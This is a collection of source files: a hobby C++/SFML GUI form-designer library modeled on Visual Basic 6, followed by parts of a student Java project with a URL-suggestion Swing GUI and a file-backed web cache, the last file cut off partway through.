//button1.SetPosition(sf::Vector2f(200, 100));
}
void MainForm::Button4_OnButtonPressed()
{
moveButton4 = true;
designHandler1.SetVisible(true);
designHandler2.SetVisible(false);
}
void MainForm::Button4_OnButtonReleased()
{
moveButton4 = false;
}
<file_sep>#include "MainForm.h"
void MainForm::OnLoad()
{
}
void MainForm::Button1_OnClick()
{
ApplicationExit();
}
void MainForm::Button2_OnClick()
{
button1.SetPosition(sf::Vector2f(200, 100));
}
<file_sep>#pragma once
#include <SFML/Graphics.hpp>
#include <string>
class Form
{
public:
void Run();
virtual void InitializeForm() {}; // Form code automated by form designer
virtual void OnCreate() {}; // Code that needs to be runned BEFORE the window/form is created
virtual void OnDestroy() {}; // Code that needs to be runned AFTER the window/form is destroyed
virtual void OnLoad() {}; // Code that needs to be runned AFTER the window/form is created (but before entering event loop)
virtual void OnUnload() {}; // Code that needs to be runned BEFORE the window/form is destroyed
virtual void OnEvent(sf::Event &event) {}; // Code that needs to be runned WHEN as certain event occurs
virtual void OnMouseMove() {};
virtual void OnUpdate(float dt) {}; // Code that needs to be runned WHEN the window/form is being updated (with delta time in seconds)
virtual void OnDraw() {}; // Code that needs to be runned WHEN the window/form is being redrawned
/* Application */
public:
void ApplicationExit() { run = false; };
private:
bool run = true;
/* Window */
public:
protected:
sf::RenderWindow window;
private:
void ProcessEvent(sf::Event &event);
/* Window - Title */
public:
std::string GetTitle();
void SetTitle(std::string title);
private:
std::string title = "My Application";
/* Window - Size */
public:
sf::Vector2i GetSize();
void SetSize(sf::Vector2i size);
private:
sf::Vector2i size = sf::Vector2i(800, 600);
/* Window - Position */
public:
sf::Vector2i GetPosition();
void SetPosition(sf::Vector2i position);
private:
sf::Vector2i position = sf::Vector2i(-1, -1);
/* Window - Style */
public:
int GetStyle();
void SetStyle(int style);
private:
int style = sf::Style::Default;
/* Event - WaitEvent */
public:
void SetWaitEvent(bool waitEvent) { this->waitEvent = waitEvent; };
bool GetWaitEvent() { return waitEvent; };
void SetWaitTime(int waitTime) { this->waitTime = waitTime; };
int GetWaitTime() { return waitTime; };
private:
bool waitEvent = true;
int waitTime = 50; // wait in ms
/* Mouse */
public:
sf::Vector2f GetMousePosition();
private:
sf::Vector2f mousePosition;
bool mouseLeftIsPressed;
};
<file_sep>#include "MainForm.h"
void MainForm::InitializeForm()
{
//////////////////////////////////////////////////////////////////////////////////
//
/* Event - WaitEvent */
SetWaitEvent(true);
SetWaitTime(50);
/* Form - Properties */
SetTitle("Tuna Designer");
//SetStyle(sf::Style::Default);
//SetPosition(sf::Vector2i(100, 100));
SetSize(sf::Vector2i(800, 600));
//
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
//
button1.SetPosition(sf::Vector2f(10, 10));
button1.SetSize(sf::Vector2f(100, 24));
button1.SetText("Generate");
//button1.SetFontSize(16);
button1.SetFontSize(12);
button1.SetWindow(&window);
button1.Setup();
//
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
//
button2.SetPosition(sf::Vector2f(10, 100));
button2.SetSize(sf::Vector2f(100, 24));
button2.SetText("Add label");
button2.SetFontSize(12);
button2.SetWindow(&window);
button2.Setup();
//
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
//
button3.SetPosition(sf::Vector2f(10, 130));
button3.SetSize(sf::Vector2f(100, 24));
button3.SetText("Add button");
button3.SetFontSize(12);
button3.SetWindow(&window);
button3.Setup();
//
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
//
button4.SetPosition(sf::Vector2f(formX + 1 + (20 * 8), formY + 1 + (20 * 8)));
button4.SetSize(sf::Vector2f(12 * 8, 3 * 8 - 1));
button4.SetText("OK");
button4.SetFontSize(12);
button4.SetFrozen(true);
button4.SetWindow(&window);
button4.Setup();
//
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
//
label1.SetWindow(&window);
label1.Setup();
label1.SetText("This is a label");
label1.SetPosition(sf::Vector2f(formX + (20 * 8), formY + (12 * 8)));
//
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
//
designHandler1.SetWindow(&window);
designHandler1.Setup(sf::Vector2f(formX + 1 + (20 * 8), formY + 1 + (20 * 8)), sf::Vector2f(13,4));
//designHandler1.SetPosition();
designHandler1.SetSize(button2.GetSize());
designHandler1.SetVisible(false);
//
//////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////
//
designHandler2.SetWindow(&window);
designHandler2.Setup(sf::Vector2f(formX, formY - 30 -1), sf::Vector2f(formW/8 + 1, formH/8 + 1 + ceil((float)30/8)));
//designHandler2.Setup(sf::Vector2f(formX + 1 + (20 * 8), formY + 1 + (20 * 8)), sf::Vector2f(13, 4));
//designHandler1.SetPosition();
//designHandler2.SetSize(button2.GetSize());
designHandler2.SetSize(sf::Vector2f(formW, formH));
designHandler2.SetVisible(true);
//
//////////////////////////////////////////////////////////////////////////////////
}
void MainForm::OnEvent(sf::Event &event)
{
// Check if designer form was clicked
if (event.type == sf::Event::MouseButtonPressed && event.mouseButton.button == sf::Mouse::Left)
{
float mx = (float)sf::Mouse::getPosition().x - this->window.getPosition().x;
float my = (float)sf::Mouse::getPosition().y - this->window.getPosition().y;
if (mx >= (formX + 8 - 1) && mx <= (formW + formX + 8) && my >= (formY) && my <= (formH + formY + 30 + 1))
{
OnMousePressed();
}
}
button1.CheckEvents(event);
if (button1.buttonEvent == Button::ButtonEvent::OnClick)
Button1_OnClick();
button2.CheckEvents(event);
if (button2.buttonEvent == Button::ButtonEvent::OnClick)
Button2_OnClick();
button3.CheckEvents(event);
if (button3.buttonEvent == Button::ButtonEvent::OnClick)
Button3_OnClick();
button4.CheckEvents(event);
if (button4.buttonEvent == Button::ButtonEvent::OnClick)
Button4_OnClick();
if (button4.buttonEvent == Button::ButtonEvent::OnPressed)
Button4_OnButtonPressed();
if (button4.buttonEvent == Button::ButtonEvent::OnReleased)
Button4_OnButtonReleased();
}
void MainForm::OnDraw()
{
sf::RectangleShape designerBackground;
designerBackground.setFillColor(sf::Color(128,128,128));
designerBackground.setPosition(sf::Vector2f(140, 100));
designerBackground.setSize(sf::Vector2f(800-140-8, 600-100-8));
window.draw(designerBackground);
//float formX = 200;
//float formY = 160 + 30; // title bar not included
//float formW = 400;
//float formH = 300;
sf::RectangleShape designerFormBoarder;
designerFormBoarder.setFillColor(sf::Color(0, 0, 0));
designerFormBoarder.setPosition(sf::Vector2f(formX - 1, formY - 30 - 1));
designerFormBoarder.setSize(sf::Vector2f(formW + 2, formH + 30 + 2));
window.draw(designerFormBoarder);
sf::RectangleShape designerFormTitle;
designerFormTitle.setFillColor(sf::Color(10, 36, 106));
designerFormTitle.setPosition(sf::Vector2f(formX, formY - 30));
designerFormTitle.setSize(sf::Vector2f(formW, formH));
window.draw(designerFormTitle);
sf::RectangleShape designerFormBody;
designerFormBody.setFillColor(sf::Color(212, 208, 200));
designerFormBody.setPosition(sf::Vector2f(formX, formY));
designerFormBody.setSize(sf::Vector2f(formW, formH));
window.draw(designerFormBody);
sf::RectangleShape gridDot;
gridDot.setFillColor(sf::Color(0, 0, 0));
gridDot.setSize(sf::Vector2f(1, 1));
for (float y = formY / 8; y < (formY + formH) / 8; y++)
{
for (float x = formX / 8; x < (formX + formW) / 8; x++)
{
gridDot.setPosition(sf::Vector2f(x * 8, y * 8));
window.draw(gridDot);
}
}
button1.Draw();
button2.Draw();
button3.Draw();
button4.Draw();
sf::RectangleShape label1_background;
label1_background.setFillColor(sf::Color(212, 208, 200));
//label1_background.setFillColor(sf::Color(100, 160, 160));
label1_background.setPosition(label1.GetPosition());
label1_background.setSize(sf::Vector2f((float)(int)(label1.GetSFText()->getLocalBounds().width / 8)*8 + 8 + 1, 2 * 8 + 1));
window.draw(label1_background);
label1.Draw();
designHandler1.Draw();
designHandler2.Draw();
}
<file_sep>#include "Label.h"
/*
Label::Label(sf::RenderWindow &window)
{
this->SetWindow(window);
}
Label::~Label()
{
}
*/
void Label::Setup()
{
if (!this->GetWindow())
return;
//font.loadFromFile("Resources/Fonts/OpenSans-SemiBold.ttf");
font.loadFromFile("Resources/Fonts/OpenSans-Regular.ttf");
text.setFont(font);
text.setCharacterSize(12);
text.setPosition(GetPosition());
//text.setString("Hello SFML");
text.setFillColor(sf::Color(0, 0, 0));
}
void Label::Draw()
{
//window.draw(text);
//rw->draw(text);
//GetWindow()->draw(text);
window->draw(text);
}
void Label::SetPosition(sf::Vector2f position)
{
UIBase::SetPosition(position);
text.setPosition(position);
}
void Label::SetText(std::string text)
{
this->text.setString(text);
}
std::string Label::GetText()
{
return text.getString();
}
<file_sep>#include "UIBase.h"
void UIBase::SetPosition(sf::Vector2f position)
{
this->position = position;
}
sf::Vector2f UIBase::GetPosition()
{
return position;
}
void UIBase::SetSize(sf::Vector2f size)
{
this->size = size;
}
sf::Vector2f UIBase::GetSize()
{
return size;
}
void UIBase::SetWindow(sf::RenderWindow* window)
{
this->window = window;
}
sf::RenderWindow* UIBase::GetWindow()
{
return window;
}
<file_sep>#pragma once
#include <SFML/Graphics.hpp>
class UIBase
{
/* Position */
public:
void SetPosition(sf::Vector2f position);
sf::Vector2f GetPosition();
private:
sf::Vector2f position;
/* Size */
public:
void SetSize(sf::Vector2f size);
sf::Vector2f GetSize();
private:
sf::Vector2f size;
/* Window */
public:
void SetWindow(sf::RenderWindow* window);
sf::RenderWindow* GetWindow();
protected:
sf::RenderWindow* window;
private:
};
<file_sep>#include "Button.h"
void Button::Setup()
{
if (!this->GetWindow())
return;
SetPosition(GetPosition());
// orignalPosition = GetPosition();
label.SetWindow(this->GetWindow());
label.Setup();
//label.SetText("Hello World!");
labelPosition = sf::Vector2f(GetPosition().x + GetTextAdjustPositionX(), GetPosition().y + 4);
// label.SetPosition(sf::Vector2f(labelPosition.x, labelPosition.y));
buttonShape.setFillColor(sf::Color(212, 208, 200));
//buttonShape.setOutlineColor(sf::Color(70,70,70));
//buttonShape.setOutlineThickness(1);
//buttonShape.setPosition(GetPosition());
buttonShape.setSize(GetSize());
}
void Button::Draw()
{
window->draw(buttonShape);
if (isDown)
window->draw(lineDown, 12, sf::Lines);
else
window->draw(lineUp, 12, sf::Lines);
label.Draw();
}
void Button::CheckEvents(sf::Event &event)
{
if (event.type == sf::Event::MouseMoved)
{
mx = (float)event.mouseMove.x;
my = (float)event.mouseMove.y;
float bx = GetPosition().x;
float by = GetPosition().y;
float bw = GetSize().x;
float bh = GetSize().y;
if (!(mx >= (bx - 1) && mx < (bx + bw + 1) && my >= (by - 1) && my < (by + bh + 1)))
{
isDown = false;
buttonEvent = ButtonEvent::OnReleased;
}
}
if (event.type == sf::Event::MouseButtonPressed)
{
float bx = GetPosition().x;
float by = GetPosition().y;
float bw = GetSize().x;
float bh = GetSize().y;
if (mx >= (bx - 1) && mx < (bx + bw + 1) && my >= (by - 1) && my < (by + bh + 1))
{
if (!isFrozen)
isDown = true;
buttonEvent = ButtonEvent::OnPressed;
}
}
if (event.type == sf::Event::MouseButtonReleased)
{
if (isDown)
buttonEvent = ButtonEvent::OnClick;
else
buttonEvent = ButtonEvent::OnReleased;
isDown = false;
}
if (isDown)
{
buttonShape.setPosition(orignalPosition.x + 1, orignalPosition.y + 1);
label.GetSFText()->setPosition(sf::Vector2f(labelPosition.x + 1, labelPosition.y + 1));
}
else
{
buttonShape.setPosition(orignalPosition.x, orignalPosition.y);
label.GetSFText()->setPosition(sf::Vector2f(labelPosition.x, labelPosition.y));
}
}
void Button::SetPosition(sf::Vector2f position)
{
UIBase::SetPosition(position);
orignalPosition = position;
labelPosition = sf::Vector2f(GetPosition().x + GetTextAdjustPositionX(), GetPosition().y + 4);
label.GetSFText()->setPosition(sf::Vector2f(labelPosition.x, labelPosition.y));
buttonShape.setPosition(GetPosition());
lineDown[0] = sf::Vertex(sf::Vector2f(GetPosition().x - 1, GetPosition().y - 1), sf::Color(64, 64, 64));
lineDown[1] = sf::Vertex(sf::Vector2f(GetPosition().x + GetSize().x, GetPosition().y - 1), sf::Color(64, 64, 64));
lineDown[2] = sf::Vertex(sf::Vector2f(GetPosition().x, GetPosition().y), sf::Color(64, 64, 64));
lineDown[3] = sf::Vertex(sf::Vector2f(GetPosition().x, GetPosition().y + GetSize().y + 1), sf::Color(64, 64, 64));
lineDown[4] = sf::Vertex(sf::Vector2f(GetPosition().x, GetPosition().y + GetSize().y), sf::Color(255, 255, 255));
lineDown[5] = sf::Vertex(sf::Vector2f(GetPosition().x + GetSize().x, GetPosition().y + GetSize().y), sf::Color(255, 255, 255));
lineDown[6] = sf::Vertex(sf::Vector2f(GetPosition().x + GetSize().x, GetPosition().y + GetSize().y + 1), sf::Color(255, 255, 255));
lineDown[7] = sf::Vertex(sf::Vector2f(GetPosition().x + GetSize().x, GetPosition().y), sf::Color(255, 255, 255));
lineDown[8] = sf::Vertex(sf::Vector2f(GetPosition().x + 1, GetPosition().y + 1), sf::Color(128, 128, 128));
lineDown[9] = sf::Vertex(sf::Vector2f(GetPosition().x + 1, GetPosition().y + GetSize().y), sf::Color(128, 128, 128));
lineDown[10] = sf::Vertex(sf::Vector2f(GetPosition().x + GetSize().x - 1, GetPosition().y), sf::Color(128, 128, 128));
lineDown[11] = sf::Vertex(sf::Vector2f(GetPosition().x, GetPosition().y), sf::Color(128, 128, 128));
lineUp[0] = sf::Vertex(sf::Vector2f(GetPosition().x, GetPosition().y - 1), sf::Color(255, 255, 255));
lineUp[1] = sf::Vertex(sf::Vector2f(GetPosition().x + GetSize().x, GetPosition().y - 1), sf::Color(255, 255, 255));
lineUp[2] = sf::Vertex(sf::Vector2f(GetPosition().x, GetPosition().y - 1), sf::Color(255, 255, 255));
lineUp[3] = sf::Vertex(sf::Vector2f(GetPosition().x, GetPosition().y + GetSize().y), sf::Color(255, 255, 255));
lineUp[4] = sf::Vertex(sf::Vector2f(GetPosition().x - 1, GetPosition().y + GetSize().y), sf::Color(64, 64, 64));
lineUp[5] = sf::Vertex(sf::Vector2f(GetPosition().x + GetSize().x, GetPosition().y + GetSize().y), sf::Color(64, 64, 64));
lineUp[6] = sf::Vertex(sf::Vector2f(GetPosition().x + GetSize().x, GetPosition().y + GetSize().y), sf::Color(64, 64, 64));
lineUp[7] = sf::Vertex(sf::Vector2f(GetPosition().x + GetSize().x, GetPosition().y - 1), sf::Color(64, 64, 64));
lineUp[8] = sf::Vertex(sf::Vector2f(GetPosition().x + GetSize().x - 1, GetPosition().y), sf::Color(128, 128, 128));
lineUp[9] = sf::Vertex(sf::Vector2f(GetPosition().x + GetSize().x - 1, GetPosition().y + GetSize().y - 1), sf::Color(128, 128, 128));
lineUp[10] = sf::Vertex(sf::Vector2f(GetPosition().x + GetSize().x - 1, GetPosition().y + GetSize().y - 1), sf::Color(128, 128, 128));
lineUp[11] = sf::Vertex(sf::Vector2f(GetPosition().x, GetPosition().y + GetSize().y - 1), sf::Color(128, 128, 128));
}
void Button::SetText(std::string text)
{
label.SetText(text);
labelPosition = sf::Vector2f(GetPosition().x + GetTextAdjustPositionX(), GetPosition().y + 4);
}
void Button::SetFontSize(int px)
{
label.GetSFText()->setCharacterSize(px);
}
float Button::GetTextWidth()
{
return label.GetSFText()->getLocalBounds().width;
}
float Button::GetTextAdjustPositionX()
{
return (float)((int)(GetSize().x / 2 - GetTextWidth() / 2));
}
<file_sep>#pragma once
#include <SFML/Graphics.hpp>
#include "UIBase.h"
#include "Label.h"
class Button : public UIBase
{
public:
enum class ButtonEvent { None = 0, OnClick, OnPressed, OnReleased };
ButtonEvent buttonEvent = ButtonEvent::None;
void Setup();
void Draw();
void CheckEvents(sf::Event &event);
void SetPosition(sf::Vector2f position);
void SetText(std::string text);
void SetFontSize(int px);
void SetFrozen(bool frozen) { this->isFrozen = frozen; };
private:
sf::Vector2f orignalPosition;
Label label;
sf::Vector2f labelPosition;
sf::RectangleShape buttonShape;
bool isDown;
sf::Vertex lineDown[12];
sf::Vertex lineUp[12];
float mx;
float my;
float GetTextWidth();
float GetTextAdjustPositionX();
bool isFrozen;
};
<file_sep>#include "Form.h"
void Form::Run()
{
//////////////////////////////////////////////////////////////////////////////
//
InitializeForm();
//
//////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////
//
OnCreate();
//
//////////////////////////////////////////////////////////////////////////////
window.create(sf::VideoMode(GetSize().x, GetSize().y), GetTitle(), GetStyle());
if (GetPosition().x != -1 && GetPosition().y != -1)
window.setPosition(GetPosition());
sf::Mouse::setPosition(sf::Vector2i(GetPosition().x + GetSize().x / 2, GetPosition().y + GetSize().y / 2), window);
//////////////////////////////////////////////////////////////////////////////
//
OnLoad();
//
//////////////////////////////////////////////////////////////////////////////
// Timing
sf::Clock clock;
clock.restart();
float dt = 0.0f;
while (run && window.isOpen())
{
sf::Event event;
if (GetWaitEvent())
{
sf::sleep(sf::milliseconds(GetWaitTime()));
if(window.waitEvent(event))
ProcessEvent(event);
}
else
{
while (window.pollEvent(event))
ProcessEvent(event);
}
//
// Timing
//
dt = clock.restart().asSeconds();
//////////////////////////////////////////////////////////////////////////////
//
OnUpdate(dt);
//
//////////////////////////////////////////////////////////////////////////////
window.clear(sf::Color(212, 208, 200));
//////////////////////////////////////////////////////////////////////////////
//
OnDraw();
//
//////////////////////////////////////////////////////////////////////////////
window.display();
}
//////////////////////////////////////////////////////////////////////////////
//
OnDestroy();
//
//////////////////////////////////////////////////////////////////////////////
}
void Form::ProcessEvent(sf::Event & event)
{
if (event.type == sf::Event::Closed)
{
//////////////////////////////////////////////////////////////////////////////
//
OnUnload();
//
//////////////////////////////////////////////////////////////////////////////
window.close();
}
if (event.type == sf::Event::MouseMoved)
{
//////////////////////////////////////////////////////////////////////////////
//
OnMouseMove();
//
//////////////////////////////////////////////////////////////////////////////
}
//////////////////////////////////////////////////////////////////////////////
//
OnEvent(event);
//
//////////////////////////////////////////////////////////////////////////////
}
std::string Form::GetTitle()
{
return title;
}
void Form::SetTitle(std::string title)
{
this->title = title;
}
sf::Vector2i Form::GetSize()
{
return size;
}
void Form::SetSize(sf::Vector2i size)
{
this->size = size;
}
sf::Vector2i Form::GetPosition()
{
return position;
}
void Form::SetPosition(sf::Vector2i position)
{
this->position = position;
}
int Form::GetStyle()
{
return style;
}
void Form::SetStyle(int style)
{
this->style = style;
// TODO: Must recreate the window in order to change style AFTER it is created.
}
sf::Vector2f Form::GetMousePosition()
{
float mx = (float)sf::Mouse::getPosition().x - this->window.getPosition().x;
float my = (float)sf::Mouse::getPosition().y - this->window.getPosition().y;
return sf::Vector2f(mx, my);
}
<file_sep># Tuna


In this project I wanted to try out some ideas for a GUI-library. It was inspired from Visual Basic 6. Controls that was made; Button, DesignHandler and Label.
Tags: C++, SFML, UI, Form
<file_sep>#pragma once
#include <SFML/Graphics.hpp>
#include "Form.h"
#include "Label.h"
#include "Button.h"
#include "DesignHandler.h"
//
// TODO LIST:
//
// 1.
// 2.
//
//
//
//
//
// - Click on control to select it with design handler
// - Click outside to deselect it
// + Move around with the control & design handler
// - Resize Horizontally with design handler (middle left and middle right)
// - Resize Vertically with design handler (top center and bottom center)
// - Resize H+V with the design handler (those in the corners)
//
class MainForm : public Form
{
public:
void OnLoad();
void OnMouseMove();
void OnMousePressed();
private:
bool moveButton4;
//////////////////////////////////////////////////////////////////////////////////
//
private:
void InitializeForm();
void OnEvent(sf::Event &event);
void OnDraw();
void Button1_OnClick();
Button button1;
void Button2_OnClick();
Button button2;
void Button3_OnClick();
Button button3;
void Button4_OnClick();
void Button4_OnButtonPressed();
void Button4_OnButtonReleased();
Button button4;
Label label1;
//void DesignHandler1_OnClick();
DesignHandler designHandler1; // for button4
//void DesignHandler2_OnClick();
DesignHandler designHandler2; // for design form
//
//////////////////////////////////////////////////////////////////////////////////
// Special need for design form
float formX = 200;
float formY = 160 + 30; // title bar not included
float formW = 50 * 8; //400;
float formH = 40 * 8; //300;
};
<file_sep>#pragma once
#include <SFML/Graphics.hpp>
#include "Form.h"
#include "Label.h"
#include "Button.h"
class MainForm : public Form
{
public:
void OnLoad();
private:
//////////////////////////////////////////////////////////////////////////////////
//
private:
void InitializeForm();
void OnEvent(sf::Event &event);
void OnDraw();
void Button1_OnClick();
Button button1;
void Button2_OnClick();
Button button2;
Label label1;
//
//////////////////////////////////////////////////////////////////////////////////
};
<file_sep>#include "DesignHandler.h"
void DesignHandler::Setup(sf::Vector2f startPos, sf::Vector2f controlSizeInGrids)
{
if (!this->GetWindow())
return;
/*
float gx[3];
float gy[3];
float igx[2];
igx[0] = ceil(13.0f / 2.0f);
igx[1] = 13;
float igy[2];
igy[0] = ceil(4.0f / 2.0f);
igy[1] = 4;
gx[0] = 0;
gx[1] = 7;
gx[2] = 13;
gy[0] = 0;
gy[1] = 2;
gy[2] = 4;
*/
float centerX = ceil(controlSizeInGrids.x / 2.0f);
float centerY = ceil(controlSizeInGrids.y / 2.0f);
originalPosition[0] = sf::Vector2f(-7, -7);
originalPosition[1] = sf::Vector2f(-7 + (centerX * 8), -7);
originalPosition[2] = sf::Vector2f(-7 + (controlSizeInGrids.x * 8), -7);
originalPosition[3] = sf::Vector2f(-7, -7 + (centerY * 8));
originalPosition[4] = sf::Vector2f(-7 + (controlSizeInGrids.x * 8), -7 + (centerY * 8));
originalPosition[5] = sf::Vector2f(-7, -7 + (controlSizeInGrids.y * 8));
originalPosition[6] = sf::Vector2f(-7 + (centerX * 8), -7 + (controlSizeInGrids.y * 8));
originalPosition[7] = sf::Vector2f(-7 + (controlSizeInGrids.x * 8), -7 + (controlSizeInGrids.y * 8));
/*
originalPosition[0] = sf::Vector2f(-7, -7);
originalPosition[1] = sf::Vector2f(-7 + (7 * 8), -7);
originalPosition[2] = sf::Vector2f(-7 + (13 * 8), -7);
originalPosition[3] = sf::Vector2f(-7, -7 + (2 * 8));
originalPosition[4] = sf::Vector2f(-7 + (13 * 8), -7 + (2 * 8));
originalPosition[5] = sf::Vector2f(-7, -7 + (4 * 8));
originalPosition[6] = sf::Vector2f(-7 + (7 * 8), -7 + (4 * 8));
originalPosition[7] = sf::Vector2f(-7 + (13 * 8), -7 + (4 * 8));
*/
// top left
box[0].setFillColor(sf::Color(10, 36, 106));
box[0].setOutlineColor(sf::Color(255, 255, 255));
box[0].setOutlineThickness(1);
box[0].setPosition(sf::Vector2f(startPos.x + originalPosition[0].x, startPos.y + originalPosition[0].y));
box[0].setSize(sf::Vector2f(5, 5));
// top center
box[1].setFillColor(sf::Color(10, 36, 106));
box[1].setOutlineColor(sf::Color(255, 255, 255));
box[1].setOutlineThickness(1);
box[1].setPosition(sf::Vector2f(startPos.x + originalPosition[1].x, startPos.y + originalPosition[1].y));
box[1].setSize(sf::Vector2f(5, 5));
// top right
box[2].setFillColor(sf::Color(10, 36, 106));
box[2].setOutlineColor(sf::Color(255, 255, 255));
box[2].setOutlineThickness(1);
box[2].setPosition(sf::Vector2f(startPos.x + originalPosition[2].x, startPos.y + originalPosition[2].y));
box[2].setSize(sf::Vector2f(5, 5));
// middle left
box[3].setFillColor(sf::Color(10, 36, 106));
box[3].setOutlineColor(sf::Color(255, 255, 255));
box[3].setOutlineThickness(1);
box[3].setPosition(sf::Vector2f(startPos.x + originalPosition[3].x, startPos.y + originalPosition[3].y));
box[3].setSize(sf::Vector2f(5, 5));
// middle right
box[4].setFillColor(sf::Color(10, 36, 106));
box[4].setOutlineColor(sf::Color(255, 255, 255));
box[4].setOutlineThickness(1);
box[4].setPosition(sf::Vector2f(startPos.x + originalPosition[4].x, startPos.y + originalPosition[4].y));
box[4].setSize(sf::Vector2f(5, 5));
// bottom left
box[5].setFillColor(sf::Color(10, 36, 106));
box[5].setOutlineColor(sf::Color(255, 255, 255));
box[5].setOutlineThickness(1);
box[5].setPosition(sf::Vector2f(startPos.x + originalPosition[5].x, startPos.y + originalPosition[5].y));
box[5].setSize(sf::Vector2f(5, 5));
// bottom center
box[6].setFillColor(sf::Color(10, 36, 106));
box[6].setOutlineColor(sf::Color(255, 255, 255));
box[6].setOutlineThickness(1);
box[6].setPosition(sf::Vector2f(startPos.x + originalPosition[6].x, startPos.y + originalPosition[6].y));
box[6].setSize(sf::Vector2f(5, 5));
// bottom right
box[7].setFillColor(sf::Color(10, 36, 106));
box[7].setOutlineColor(sf::Color(255, 255, 255));
box[7].setOutlineThickness(1);
box[7].setPosition(sf::Vector2f(startPos.x + originalPosition[7].x, startPos.y + originalPosition[7].y));
box[7].setSize(sf::Vector2f(5, 5));
}
void DesignHandler::Draw()
{
if (!visible)
return; // do not draw if invisible
window->draw(box[0]);
window->draw(box[1]);
window->draw(box[2]);
window->draw(box[3]);
window->draw(box[4]);
window->draw(box[5]);
window->draw(box[6]);
window->draw(box[7]);
}
void DesignHandler::SetPosition(sf::Vector2f position)
{
//if (position.x > (this->GetWindow()->getPosition().x - originalPosition[1].x))
// return;
UIBase::SetPosition(position);
box[0].setPosition(position + originalPosition[0]);
box[1].setPosition(position + originalPosition[1]);
box[2].setPosition(position + originalPosition[2]);
box[3].setPosition(position + originalPosition[3]);
box[4].setPosition(position + originalPosition[4]);
box[5].setPosition(position + originalPosition[5]);
box[6].setPosition(position + originalPosition[6]);
box[7].setPosition(position + originalPosition[7]);
}
void DesignHandler::SetSize(sf::Vector2f size)
{
UIBase::SetSize(size);
//box[0].setPosition(box[0].getPosition() + size);
}
| 5d02e7d25c2408b563ecc7bd4a33fe7f5eb50598 | [
"Markdown",
"C++"
] | 20 | C++ | kimlar/Tuna | c6b8c8f7459fec98bc632d5436bcd61b344b23bd | 2e74e2b246d265b7966f6c3d7e8b4c625cec03f5 |
refs/heads/master | <repo_name>bcaruso/365Assign2<file_sep>/URLSuggesterGUI.java
import javax.swing.*;
import java.awt.event.*;
import java.awt.*;
import java.awt.Color;
import java.net.URISyntaxException;
import java.net.*;
import java.io.IOException;
public class URLSuggesterGUI {
// GUI Components
private JFrame frame;
private JPanel content;
private JLabel instructions;
private JTextField urlBox;
private JButton submit;
private JLabel suggestedURLHeader;
private JLabel suggestedURL;
public void createGUI(){
// Create Main Window
frame = new JFrame("URL Suggester 2.0");
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
content = new JPanel();
content.setLayout(new BoxLayout(content,BoxLayout.Y_AXIS));
content.setBorder(BorderFactory.createEmptyBorder(5,5,5,5));
frame.add(content);
// Create and Add components
instructions= new JLabel("Enter in a valid URL:");
instructions.setAlignmentX(Component.LEFT_ALIGNMENT);
content.add(instructions);
urlBox= new JTextField("http://www.example.com");
urlBox.setColumns(35);
urlBox.setAlignmentX(Component.LEFT_ALIGNMENT);
urlBox.setMaximumSize(urlBox.getPreferredSize());
content.add(urlBox);
submit= new JButton("Submit");
submit.setAlignmentX(Component.LEFT_ALIGNMENT);
submit.addActionListener( new ActionListener(){
public void actionPerformed(ActionEvent e){
submitClicked(e);
}
});
content.add(submit);
suggestedURLHeader = new JLabel("Suggested URL:");
suggestedURLHeader.setAlignmentX(Component.LEFT_ALIGNMENT);
content.add(suggestedURLHeader);
suggestedURL = new JLabel(" ");
suggestedURL.setAlignmentX(Component.LEFT_ALIGNMENT);
content.add(suggestedURL);
//Display Window
frame.pack();
frame.setVisible(true);
}
// Action Methods
public void submitClicked(ActionEvent e){
try{
submit.setEnabled(false);
frame.getRootPane().setCursor(new Cursor(Cursor.WAIT_CURSOR));
String[] simResults = BTreeSimilarity.findMostSimilar(urlBox.getText(), URLSuggester.referenceTrees);
frame.getRootPane().setCursor(new Cursor(Cursor.DEFAULT_CURSOR));
submit.setEnabled(true);
String bURL = "<html>";
for(int i = 0; i< 3 ; i++){
bURL = bURL+ (i+1) + ": " + simResults[i]+"<br/>";
}
bURL = bURL + "</html>";
suggestedURL.setForeground(Color.black);
suggestedURL.setText(bURL);
frame.pack();
}catch(URISyntaxException|IOException ex){
frame.getRootPane().setCursor(new Cursor(Cursor.DEFAULT_CURSOR));
submit.setEnabled(true);
System.out.println("Bad Input URL.");
suggestedURL.setForeground(Color.red);
suggestedURL.setText("Please input a valid URL.");
frame.pack();
}
}
}<file_sep>/README.md
# 365Assign2
Introduction to Persistent Hash Table and BTree.
<file_sep>/WebCache.java
/*
* WebCache CLASS - CSC 365 - Assignment 2
*
* Author: <NAME>
*
* [ [TIME ADDED][BTREE FILENAME] ][ [TIME ADDED][BTREE FILENAME] ]...[ [TIME ADDED][BTREE FILENAME] ]
* 8 bytes 256 bytes
*/
import java.nio.channels.FileChannel;
import java.nio.ByteBuffer;
import java.io.RandomAccessFile;
import java.io.IOException;
import java.io.FileNotFoundException;
import java.io.File;
import java.net.URLConnection;
import java.net.URL;
public class WebCache {
File cacheFile;
RandomAccessFile cache;
int size;
public WebCache(int s){
try{
cacheFile = new File("cache");
cache = new RandomAccessFile(cacheFile,"rw");
cache.setLength(s*(8+256));
size = s;
}catch(IOException e){
e.printStackTrace();
}
}
public WebCache(){
try{
cacheFile = new File("cache");
cache = new RandomAccessFile(cacheFile,"rw");
size = (int)cache.length()/(8+256);
}catch(IOException e){
e.printStackTrace();
}
}
public void put(URL url){
try{
// Clean the url to make a file name an decrease length if necessary
String cleanURL = url.toString();
if(cleanURL.length() > 256){
cleanURL = cleanURL.substring(0, 256);
}
int index = cleanURL.hashCode() & (size-1);
long location = index * (8+256);
URLConnection connection = url.openConnection();
cache.seek(location);
byte[] bArray = new byte[256];
long timeAdded = cache.readLong();
cache.read(bArray);
String fileName = new String(bArray);
if(timeAdded == 0 && fileName.trim().isEmpty()){
cache.seek(location);
cache.writeLong(connection.getDate());
cache.write(cleanURL.getBytes());
return;
}else if (!fileName.trim().isEmpty()){
if (!fileName.trim().equals(cleanURL)){
